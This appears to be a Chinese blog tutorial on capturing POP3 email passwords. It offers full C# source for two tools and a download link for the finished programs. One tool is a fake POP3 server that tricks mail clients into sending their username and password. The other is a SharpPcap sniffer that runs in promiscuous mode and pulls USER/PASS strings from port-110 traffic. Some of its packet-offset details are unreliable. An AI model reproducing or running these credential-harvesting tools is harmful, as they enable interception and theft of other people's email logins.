成品與代碼可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下載
來說下pop協議,
英文版,https://tools.ietf.org/html/rfc1939
中文版,http://www.cnpaf.net/class/pop3/200408/122.html
pop 協議基於 tcp 協議,以明文ascii碼的形式傳輸內容。且不區分大小寫。
這里說下2種獲取密碼的方式:
- pop協議分析
- pop數據包分析
(一) pop協議分析
pop協議分析,就是偽造了一個郵件服務器,誘騙客戶端傳輸密碼,過程如下。
http://www.cnblogs.com/rr163/p/4209944.html 這位同學給了一個很好的demo.
里面寫了個CAPA,開始與 POP3 Server 送出的第一個指令,用於取得此服務器的功能選項清單.
如果用FoxMail 客戶端是沒用這個的,如果用的outlook,會傳輸此命令。
代碼 如下,就是復制別人的(^_^)。
using System; using System.Net; using System.Net.Sockets; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { try { IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110); TcpListener tcpServer = new TcpListener(ipEndPoint); tcpServer.Start(); TcpClient tcpClient = tcpServer.AcceptTcpClient(); NetworkStream ns = tcpClient.GetStream(); byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服務器的歡迎 ns.Write(outbytes, 0, outbytes.Length); byte[] userBytes = new byte[255];//密碼存儲 ns.Read(userBytes, 0, userBytes.Length); string capa = Encoding.ASCII.GetString(userBytes);// if (capa.IndexOf("CAPA") >= 0)//開始與 POP3 Server 送出的第一個指令,用於取得此服務器的功能選項清單 { byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine); ns.Write(capaByteArr, 0, capaByteArr.Length); ns.Read(userBytes, 0, userBytes.Length); } outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine); ns.Write(outbytes, 0, outbytes.Length); byte[] pwdBytes = new byte[255]; ns.Read(pwdBytes, 0, pwdBytes.Length); string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("\r\n", "").Replace("\0", ""); string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("\r\n", "").Replace("\0", ""); tcpClient.Close(); Console.WriteLine(string.Format("用戶名:{0}\r\n密 碼:{1}",user,pass)); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } Console.ReadKey(); } } }
然后設置下pop的服務器為127.0.0.1。 端口110,非加密傳輸。
收發下郵件,結果如下
(二)pop數據包分析(這里講的多)
Pop3是基於TCP協議的,那來說說它的結構。以太網包頭+IP包頭+TCP/UDP+內容 4部分構成。
四種以太網數據包詳解
Ethernet II協議,(pop3用的這個)
Ethernet 802.2協議,
Ethernet 802.3協議(IPX/SPX協議)
Ethernet SNAP協議,
說下POP3的數據包。
Ethernet II協議部分, 由6字節目標mac地址,6字節源mac地址,2字節協議類型構成,共14個字節
IP協議部分,由20個固定字節與40個可變字節構成,內容太多,大家去百度就好。IP地址就在這里,POP3里沒有擴展內容,所以就是固定20字節。
TCP協議部分,依然是20個固定字節作為首部,TCP報文首部的最大長度是 80字節。選項部分為MSS( Maximum Segment Size 最大報文段長度,以太網默認為1460)。MSS=TCP報文段長度-TCP首部長度,所以1460不是確定值。
這里有源端口號與目的端口號(占2字節)分別是目的端口號(占2字節),就在頭文件里。
。
內容部分,就是ascii碼。
來說思路:
1. 只查看端口為110的包.(為因默認在第38個字節)
2. 如有”USER”的包記錄下用戶名,如果有”PASS”的包,記錄為密碼。
這里用的是C#語言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下載。
需要安裝wincap(百度下就能下載到)。
引用PacketDotNet.dll,SharpPcap.dll。 結果如下。
代碼如下:
using System; using System.Text; using SharpPcap; using SharpPcap.LibPcap; namespace ConsoleApplication2 { class Program { static string userName = string.Empty; static CaptureDeviceList devices = CaptureDeviceList.Instance; static ICaptureDevice device; static void Main(string[] args) { try { getAdapter(); Console.WriteLine(""); Console.Write("請選擇網卡編號:"); string macIndexStr = Console.ReadLine(); int macIndex = int.Parse(macIndexStr); Console.WriteLine("編號為:"+macIndex+",開始監聽..."); devices = CaptureDeviceList.Instance; device = devices[macIndex]; device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival); int readTimeoutMilliseconds = 1000; device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds); device.StartCapture(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } Console.ReadKey(); } private static void getAdapter()//獲取網卡 { int macIndex = 0; var devices = LibPcapLiveDeviceList.Instance; //var devices = WinPcapDeviceList.Instance; //var devices = CaptureDeviceList.Instance; if (devices.Count < 1) Console.WriteLine("此設備上沒有網卡"); else foreach (var dev in devices) { Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName); macIndex++; } } private static string HexArrToAscii(byte[] s) { StringBuilder sb = new StringBuilder(); foreach (byte b in s) { char c = (char)b; if (!char.IsControl(c)) { sb.Append(c); } else { sb.Append('.'); } } return sb.ToString(); } private static void device_OnPacketArrival(object sender, CaptureEventArgs e) { var pData = e.Packet.Data; if (pData.Length >= 37) { if (pData[37] != 110) //如果不是110 端口,則不記錄 { return; } } string hexStr = HexArrToAscii(pData); char[] packetArr = hexStr.ToCharArray(); if (packetArr.Length >= 54) { for (int i = 0; i < packetArr.Length - 2; i++) { if (packetArr[i] == 'U' && packetArr[i + 1] == 'S' && packetArr[i + 2] == 'E' && packetArr[i + 3] == 'R') { int passLength = packetArr.Length - i - 3 - 2; //i + 3長度是數據包頭,2長度是控制符 char[] userArr = new char[passLength]; for (int j = 0; j < passLength - 2; j++) { userArr[j] = packetArr[i + 3 + j + 2]; } string resultPass = new string(userArr); userName = resultPass; } } } if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57) { for (int i = 0; i < packetArr.Length - 2; i++) { if (packetArr[i] == 'P' && packetArr[i + 1] == 'A' && packetArr[i + 2] == 'S' && packetArr[i + 3] == 'S') { int passLength = packetArr.Length - i - 3 - 2;//i + 3長度是數據包頭,2長度是控制符 char[] passArr = new char[passLength]; for (int j = 0; j < passLength - 2; j++) { passArr[j] = packetArr[i + 3 + j + 2]; } string resultPass = new string(passArr); Console.WriteLine(); Console.WriteLine(string.Format("用戶名:{0}\r\n密 碼:{1}", userName, resultPass)); return; } } } } } }